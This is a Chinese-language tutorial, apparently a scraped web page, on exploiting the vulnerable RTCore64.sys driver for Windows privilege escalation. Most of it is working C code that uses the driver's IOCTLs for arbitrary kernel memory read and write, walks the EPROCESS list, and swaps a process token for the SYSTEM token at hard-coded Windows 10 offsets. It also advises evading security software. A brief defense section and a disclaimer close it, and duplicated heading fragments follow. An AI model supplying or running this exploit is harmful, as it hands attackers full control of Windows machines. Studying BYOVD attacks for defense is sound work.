通过漏洞驱动进行权限提升 - RTCore64.sys 分析教学文档<\/h1>

0x01 前言<\/h2>
Bring Your Own Vulnerable Driver (BYOVD) 攻击技术中，最常见的应用场景是通过 `ZwTerminateProcess<\/code> 终止安全软件或 EDR 进程。然而，研究发现在 LOLDrivers 项目中存在的 RTCore64.sys<\/code> 驱动可用于权限提升。本教学将详细分析该驱动的漏洞机制，并演示如何利用任意内核地址读写漏洞实现从应用层进行权限提升。<\/p>`

0x02 RTCore64.sys 驱动分析<\/h2>
驱动初始化过程<\/h3>
在 DriverEntry<\/code> 函数中，驱动会创建设备对象 DeviceRTCore64<\/code> 和符号链接 DosDevicesRTCore64<\/code>，为后续用户态通信建立通道。<\/p>
IOCTL 派遣函数分析<\/h3>
驱动主要处理两个关键 IOCTL 控制码：<\/p>

0x80002048<\/strong>: 实现任意内核地址数据读取<\/li>
0x8000204C<\/strong>: 实现任意内核地址数据写入<\/li>
<\/ul>
数据结构定义<\/h3>
typedef<\/span> struct<\/span> _RTCore64_Struct {
<\/span><\/span>    BYTE Unknown[8<\/span>];        \/\/ 0x0
<\/span><\/span><\/span><\/span>    ULONG64 StartAddress;   \/\/ 0x8 - 读写操作的起始地址
<\/span><\/span><\/span><\/span>    BYTE Unknown2[4<\/span>];       \/\/ 0x10
<\/span><\/span><\/span><\/span>    ULONG Offset;           \/\/ 0x14 - 从起始地址开始的偏移量
<\/span><\/span><\/span><\/span>    ULONG SizeType;         \/\/ 0x18 - 读写操作的数据大小类型
<\/span><\/span><\/span><\/span>    ULONG Output;           \/\/ 0x1C - 读取或写入的数据
<\/span><\/span><\/span><\/span>    BYTE Unknown3[16<\/span>];      \/\/ 0x20
<\/span><\/span><\/span><\/span>} RTCore64_Struct, *<\/span>PRTCore64_Struct; \/\/ 总大小: 0x30
<\/span><\/span><\/span><\/code><\/pre>任意内核地址读取实现<\/h3>
基础读取函数<\/h4>
BOOL BasicRead<\/span>(ULONG64 StartAddress, ULONG SizeType, PULONG Output) {
<\/span><\/span>    RTCore64_Struct rtcore64;
<\/span><\/span>    ZeroMemory(&<\/span>rtcore64, sizeof<\/span>(RTCore64_Struct));
<\/span><\/span>    rtcore64.StartAddress =<\/span> StartAddress;
<\/span><\/span>    rtcore64.SizeType =<\/span> SizeType;
<\/span><\/span>
<\/span><\/span>    HANDLE hDevice =<\/span> CreateFileA("<\/span>\\\\<\/span>.<\/span>\\<\/span>RTCore64"<\/span>, GENERIC_READ |<\/span> GENERIC_WRITE, 
<\/span><\/span>                                0<\/span>, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
<\/span><\/span>    if<\/span> (hDevice ==<\/span> INVALID_HANDLE_VALUE) {
<\/span><\/span>        return<\/span> FALSE;
<\/span><\/span>    }
<\/span><\/span>
<\/span><\/span>    DWORD bytesReturned;
<\/span><\/span>    BOOL bRet =<\/span> DeviceIoControl(hDevice, 0x80002048<\/span>, &<\/span>rtcore64, sizeof<\/span>(RTCore64_Struct),
<\/span><\/span>                               &<\/span>rtcore64, sizeof<\/span>(RTCore64_Struct), &<\/span>bytesReturned, NULL);
<\/span><\/span>    
<\/span><\/span>    CloseHandle(hDevice);
<\/span><\/span>    if<\/span> (!<\/span>bRet) return<\/span> FALSE;
<\/span><\/span>    
<\/span><\/span>    *<\/span>Output =<\/span> rtcore64.Output;
<\/span><\/span>    return<\/span> TRUE;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>类型化读取函数<\/h4>
\/\/ 读取 BYTE 类型数据
<\/span><\/span><\/span><\/span>BOOL ReadKernelBYTE<\/span>(ULONG64 StartAddress, PBYTE Output) {
<\/span><\/span>    ULONG value =<\/span> 0<\/span>;
<\/span><\/span>    if<\/span> (!<\/span>BasicRead(StartAddress, 1<\/span>, &<\/span>value)) return<\/span> FALSE;
<\/span><\/span>    *<\/span>Output =<\/span> (BYTE)(value &<\/span> 0xFF<\/span>);
<\/span><\/span>    return<\/span> TRUE;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 读取 WORD 类型数据
<\/span><\/span><\/span><\/span>BOOL ReadKernelWORD<\/span>(ULONG64 StartAddress, PWORD Output) {
<\/span><\/span>    ULONG value =<\/span> 0<\/span>;
<\/span><\/span>    if<\/span> (!<\/span>BasicRead(StartAddress, 2<\/span>, &<\/span>value)) return<\/span> FALSE;
<\/span><\/span>    *<\/span>Output =<\/span> (WORD)(value &<\/span> 0xFFFF<\/span>);
<\/span><\/span>    return<\/span> TRUE;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 读取 DWORD 类型数据
<\/span><\/span><\/span><\/span>BOOL ReadKernelDWORD<\/span>(ULONG64 StartAddress, PDWORD Output) {
<\/span><\/span>    return<\/span> BasicRead(StartAddress, 4<\/span>, Output);
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 读取 QWORD 类型数据
<\/span><\/span><\/span><\/span>BOOL ReadKernelQWORD<\/span>(ULONG64 StartAddress, PULONG64 Output) {
<\/span><\/span>    ULONG low =<\/span> 0<\/span>, high =<\/span> 0<\/span>;
<\/span><\/span>    if<\/span> (!<\/span>BasicRead(StartAddress, 4<\/span>, &<\/span>low)) return<\/span> FALSE;
<\/span><\/span>    if<\/span> (!<\/span>BasicRead(StartAddress +<\/span> 4<\/span>, 4<\/span>, &<\/span>high)) return<\/span> FALSE;
<\/span><\/span>    *<\/span>Output =<\/span> ((ULONG64)high <<<\/span> 32<\/span>) |<\/span> low;
<\/span><\/span>    return<\/span> TRUE;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>任意内核地址写入实现<\/h3>
基础写入函数<\/h4>
BOOL BasicWrite<\/span>(ULONG64 StartAddress, ULONG SizeType, ULONG Output) {
<\/span><\/span>    RTCore64_Struct rtcore64;
<\/span><\/span>    ZeroMemory(&<\/span>rtcore64, sizeof<\/span>(RTCore64_Struct));
<\/span><\/span>    rtcore64.StartAddress =<\/span> StartAddress;
<\/span><\/span>    rtcore64.SizeType =<\/span> SizeType;
<\/span><\/span>    rtcore64.Output =<\/span> Output;
<\/span><\/span>
<\/span><\/span>    HANDLE hDevice =<\/span> CreateFileA("<\/span>\\\\<\/span>.<\/span>\\<\/span>RTCore64"<\/span>, GENERIC_READ |<\/span> GENERIC_WRITE, 
<\/span><\/span>                                0<\/span>, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
<\/span><\/span>    if<\/span> (hDevice ==<\/span> INVALID_HANDLE_VALUE) return<\/span> FALSE;
<\/span><\/span>
<\/span><\/span>    DWORD bytesReturned;
<\/span><\/span>    BOOL bRet =<\/span> DeviceIoControl(hDevice, 0x8000204C<\/span>, &<\/span>rtcore64, sizeof<\/span>(RTCore64_Struct),
<\/span><\/span>                               &<\/span>rtcore64, sizeof<\/span>(RTCore64_Struct), &<\/span>bytesReturned, NULL);
<\/span><\/span>    
<\/span><\/span>    CloseHandle(hDevice);
<\/span><\/span>    return<\/span> bRet;
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 写入 QWORD 类型数据
<\/span><\/span><\/span><\/span>BOOL WriteKernelQWORD<\/span>(ULONG64 StartAddress, ULONG64 Output) {
<\/span><\/span>    ULONG low =<\/span> Output &<\/span> 0xFFFFFFFF<\/span>;
<\/span><\/span>    ULONG high =<\/span> (Output >><\/span> 32<\/span>) &<\/span> 0xFFFFFFFF<\/span>;
<\/span><\/span>    
<\/span><\/span>    if<\/span> (!<\/span>BasicWrite(StartAddress, 4<\/span>, low)) return<\/span> FALSE;
<\/span><\/span>    if<\/span> (!<\/span>BasicWrite(StartAddress +<\/span> 4<\/span>, 4<\/span>, high)) return<\/span> FALSE;
<\/span><\/span>    return<\/span> TRUE;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>0x03 权限提升技术原理<\/h2>
EPROCESS 与 Token 机制<\/h3>
Windows 内核中，每个进程都有一个 EPROCESS 结构，其中包含 Token 指针（偏移量因系统版本而异）。Token 对象决定进程的安全上下文和权限级别。<\/p>
EX_FAST_REF 结构分析<\/h4>
struct<\/span> _EX_FAST_REF {
<\/span><\/span>    union<\/span> {
<\/span><\/span>        VOID*<\/span> Object;           \/\/ 完整的指针值
<\/span><\/span><\/span><\/span>        ULONGLONG RefCnt:4<\/span>;     \/\/ 低4位为引用计数
<\/span><\/span><\/span><\/span>        ULONGLONG Value;        \/\/ 完整64位值
<\/span><\/span><\/span><\/span>    };
<\/span><\/span>};
<\/span><\/span><\/code><\/pre>权限提升核心思路<\/h3>
将目标进程的 Token 指针替换为 System 进程的 Token 指针，同时保留原始 Token 的低4位引用计数。<\/p>
关键技术实现步骤<\/h3>
1. 获取内核基地址<\/h4>
ULONG64 GetKernelBase<\/span>() {
<\/span><\/span>    ULONG cbNeeded =<\/span> 0<\/span>;
<\/span><\/span>    if<\/span> (!<\/span>EnumDeviceDrivers(NULL, 0<\/span>, &<\/span>cbNeeded)) return<\/span> NULL;
<\/span><\/span>    
<\/span><\/span>    ULONG64*<\/span> lpImageBase =<\/span> (ULONG64*<\/span>)malloc(cbNeeded);
<\/span><\/span>    if<\/span> (!<\/span>lpImageBase) return<\/span> NULL;
<\/span><\/span>    
<\/span><\/span>    if<\/span> (!<\/span>EnumDeviceDrivers(lpImageBase, cbNeeded, &<\/span>cbNeeded)) {
<\/span><\/span>        free(lpImageBase);
<\/span><\/span>        return<\/span> NULL;
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    ULONG64 kernelBase =<\/span> lpImageBase[0<\/span>];
<\/span><\/span>    free(lpImageBase);
<\/span><\/span>    return<\/span> kernelBase;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2. 获取 PsInitialSystemProcess 偏移量<\/h4>
ULONG GetPsInitialSystemProcessOffset<\/span>() {
<\/span><\/span>    HMODULE hModule =<\/span> LoadLibraryA("ntoskrnl.exe"<\/span>);
<\/span><\/span>    if<\/span> (!<\/span>hModule) return<\/span> 0<\/span>;
<\/span><\/span>    
<\/span><\/span>    ULONG64 PsInitialSystemProcess =<\/span> (ULONG64)GetProcAddress(hModule, "PsInitialSystemProcess"<\/span>);
<\/span><\/span>    if<\/span> (!<\/span>PsInitialSystemProcess) {
<\/span><\/span>        FreeLibrary(hModule);
<\/span><\/span>        return<\/span> 0<\/span>;
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    ULONG offset =<\/span> (ULONG)(PsInitialSystemProcess -<\/span> (ULONG64)hModule);
<\/span><\/span>    FreeLibrary(hModule);
<\/span><\/span>    return<\/span> offset;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>3. 获取 System 进程 EPROCESS 地址<\/h4>
ULONG64 GetSystemEprocessPtr<\/span>() {
<\/span><\/span>    ULONG64 kernelBase =<\/span> GetKernelBase();
<\/span><\/span>    if<\/span> (!<\/span>kernelBase) return<\/span> 0<\/span>;
<\/span><\/span>    
<\/span><\/span>    ULONG offset =<\/span> GetPsInitialSystemProcessOffset();
<\/span><\/span>    if<\/span> (!<\/span>offset) return<\/span> 0<\/span>;
<\/span><\/span>    
<\/span><\/span>    ULONG64 psInitialSystemProcessAddr =<\/span> kernelBase +<\/span> offset;
<\/span><\/span>    ULONG64 systemEprocess =<\/span> 0<\/span>;
<\/span><\/span>    
<\/span><\/span>    if<\/span> (!<\/span>ReadKernelQWORD(psInitialSystemProcessAddr, &<\/span>systemEprocess)) return<\/span> 0<\/span>;
<\/span><\/span>    return<\/span> systemEprocess;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>4. 获取 System 进程 Token 指针<\/h4>
ULONG64 GetSystemTokenPtr<\/span>(ULONG64 systemEprocess) {
<\/span><\/span>    ULONG64 token =<\/span> 0<\/span>;
<\/span><\/span>    \/\/ Windows 10 22H2 Token 偏移为 0x4b8
<\/span><\/span><\/span><\/span>    if<\/span> (!<\/span>ReadKernelQWORD(systemEprocess +<\/span> 0x4b8<\/span>, &<\/span>token)) return<\/span> 0<\/span>;
<\/span><\/span>    return<\/span> token;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>5. 通过进程 PID 查找目标进程 EPROCESS<\/h4>
ULONG64 GetEprocessByPid<\/span>(ULONG ProcessId) {
<\/span><\/span>    ULONG64 systemEprocess =<\/span> GetSystemEprocessPtr();
<\/span><\/span>    if<\/span> (!<\/span>systemEprocess) return<\/span> 0<\/span>;
<\/span><\/span>    
<\/span><\/span>    ULONG64 currentEprocess =<\/span> systemEprocess;
<\/span><\/span>    ULONG currentPid =<\/span> 0<\/span>;
<\/span><\/span>    
<\/span><\/span>    \/\/ 读取第一个进程的 PID
<\/span><\/span><\/span><\/span>    if<\/span> (!<\/span>ReadKernelDWORD(systemEprocess +<\/span> 0x440<\/span>, &<\/span>currentPid)) return<\/span> 0<\/span>;
<\/span><\/span>    
<\/span><\/span>    \/\/ 遍历 ActiveProcessLinks 链表
<\/span><\/span><\/span><\/span>    while<\/span> (currentPid !=<\/span> ProcessId) {
<\/span><\/span>        ULONG64 flink =<\/span> 0<\/span>;
<\/span><\/span>        \/\/ ActiveProcessLinks 偏移为 0x448
<\/span><\/span><\/span><\/span>        if<\/span> (!<\/span>ReadKernelQWORD(currentEprocess +<\/span> 0x448<\/span>, &<\/span>flink)) return<\/span> 0<\/span>;
<\/span><\/span>        
<\/span><\/span>        \/\/ 计算下一个 EPROCESS 地址
<\/span><\/span><\/span><\/span>        currentEprocess =<\/span> flink -<\/span> 0x448<\/span>;
<\/span><\/span>        if<\/span> (!<\/span>ReadKernelDWORD(currentEprocess +<\/span> 0x440<\/span>, &<\/span>currentPid)) return<\/span> 0<\/span>;
<\/span><\/span>        
<\/span><\/span>        \/\/ 防止无限循环
<\/span><\/span><\/span><\/span>        if<\/span> (currentPid ==<\/span> 4<\/span>) break<\/span>; \/\/ System 进程 PID
<\/span><\/span><\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    return<\/span> (currentPid ==<\/span> ProcessId) ?<\/span> currentEprocess : 0<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>6. 执行 Token 替换操作<\/h4>
BOOL ElevateToken<\/span>(ULONG TargetPid) {
<\/span><\/span>    ULONG64 systemEprocess =<\/span> GetSystemEprocessPtr();
<\/span><\/span>    if<\/span> (!<\/span>systemEprocess) return<\/span> FALSE;
<\/span><\/span>    
<\/span><\/span>    ULONG64 systemToken =<\/span> GetSystemTokenPtr(systemEprocess);
<\/span><\/span>    if<\/span> (!<\/span>systemToken) return<\/span> FALSE;
<\/span><\/span>    
<\/span><\/span>    ULONG64 targetEprocess =<\/span> GetEprocessByPid(TargetPid);
<\/span><\/span>    if<\/span> (!<\/span>targetEprocess) return<\/span> FALSE;
<\/span><\/span>    
<\/span><\/span>    ULONG64 targetToken =<\/span> GetSystemTokenPtr(targetEprocess);
<\/span><\/span>    if<\/span> (!<\/span>targetToken) return<\/span> FALSE;
<\/span><\/span>    
<\/span><\/span>    \/\/ 保留引用计数，替换 Token 指针
<\/span><\/span><\/span><\/span>    systemToken =<\/span> systemToken &<\/span> ~<\/span>0xF<\/span>;           \/\/ 清除低4位
<\/span><\/span><\/span><\/span>    ULONG targetTokenRefCount =<\/span> targetToken &<\/span> 0xF<\/span>; \/\/ 获取原始引用计数
<\/span><\/span><\/span><\/span>    ULONG64 newToken =<\/span> systemToken |<\/span> targetTokenRefCount; \/\/ 组合新 Token
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    \/\/ 写入新的 Token 值（Windows 10 22H2 偏移 0x4b8）
<\/span><\/span><\/span><\/span>    if<\/span> (!<\/span>WriteKernelQWORD(targetEprocess +<\/span> 0x4b8<\/span>, newToken)) return<\/span> FALSE;
<\/span><\/span>    
<\/span><\/span>    return<\/span> TRUE;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>0x04 实际利用示例<\/h2>
操作流程<\/h3>

加载漏洞驱动<\/strong>: 确保 RTCore64.sys 正确加载并创建设备对象<\/li>
获取当前进程 PID<\/strong>: 使用 GetCurrentProcessId()<\/code> 获取目标 PID<\/li>
执行权限提升<\/strong>: 调用 ElevateToken()<\/code> 函数替换 Token<\/li>
验证权限<\/strong>: 创建新进程验证是否获得 SYSTEM 权限<\/li>
<\/ol>
关键注意事项<\/h3>

系统版本适配<\/strong>: 不同 Windows 版本的 EPROCESS 结构偏移不同，需要根据目标系统调整<\/li>
驱动加载权限<\/strong>: 需要管理员权限才能加载驱动程序<\/li>
防检测措施<\/strong>: 实际利用中需要考虑绕过安全软件检测<\/li>
稳定性考虑<\/strong>: 错误的内存访问可能导致系统蓝屏<\/li>
<\/ol>
0x05 防御建议<\/h2>
针对此类攻击的防护措施<\/h3>

驱动签名验证<\/strong>: 启用驱动签名强制验证<\/li>
驱动程序黑名单<\/strong>: 维护已知漏洞驱动列表并阻止加载<\/li>
内核补丁保护<\/strong>: 启用 PatchGuard 等内核保护机制<\/li>
进程监控<\/strong>: 监控异常的 Token 替换行为<\/li>
最小权限原则<\/strong>: 遵循最小权限原则运行应用程序<\/li>
<\/ol>
0x06 总结<\/h2>
通过分析 RTCore64.sys 驱动的漏洞机制，我们展示了如何利用任意内核地址读写漏洞实现权限提升。这种技术不仅限于终止安全进程，还能直接修改内核数据结构获取最高权限。理解这种攻击手法有助于更好地防御 BYOVD 攻击，并加强系统安全防护。<\/p>
重要提示<\/strong>: 本教学文档仅用于安全研究和教育目的，实际利用此类漏洞可能违反法律法规，请在合法授权范围内使用这些技术。<\/p>

通过漏洞驱动进行权限提升 - RTCore64.sys 分析教学文档<\/h1>

驱动初始化过程<\/h3> 在 DriverEntry<\/code> 函数中，驱动会创建设备对象 DeviceRTCore64<\/code> 和符号链接 DosDevicesRTCore64<\/code>，为后续用户态通信建立通道。<\/p>

任意内核地址读取实现<\/h3>

任意内核地址写入实现<\/h3>

0x03 权限提升技术原理<\/h2>

EPROCESS 与 Token 机制<\/h3> Windows 内核中，每个进程都有一个 EPROCESS 结构，其中包含 Token 指针（偏移量因系统版本而异）。Token 对象决定进程的安全上下文和权限级别。<\/p>

权限提升核心思路<\/h3> 将目标进程的 Token 指针替换为 System 进程的 Token 指针，同时保留原始 Token 的低4位引用计数。<\/p>

关键技术实现步骤<\/h3>

0x04 实际利用示例<\/h2>

0x05 防御建议<\/h2>

驱动初始化过程<\/h3>
在 `DriverEntry<\/code> 函数中，驱动会创建设备对象 DeviceRTCore64<\/code> 和符号链接 DosDevicesRTCore64<\/code>，为后续用户态通信建立通道。<\/p>`

EPROCESS 与 Token 机制<\/h3>
Windows 内核中，每个进程都有一个 EPROCESS 结构，其中包含 Token 指针（偏移量因系统版本而异）。Token 对象决定进程的安全上下文和权限级别。<\/p>

权限提升核心思路<\/h3>
将目标进程的 Token 指针替换为 System 进程的 Token 指针，同时保留原始 Token 的低4位引用计数。<\/p>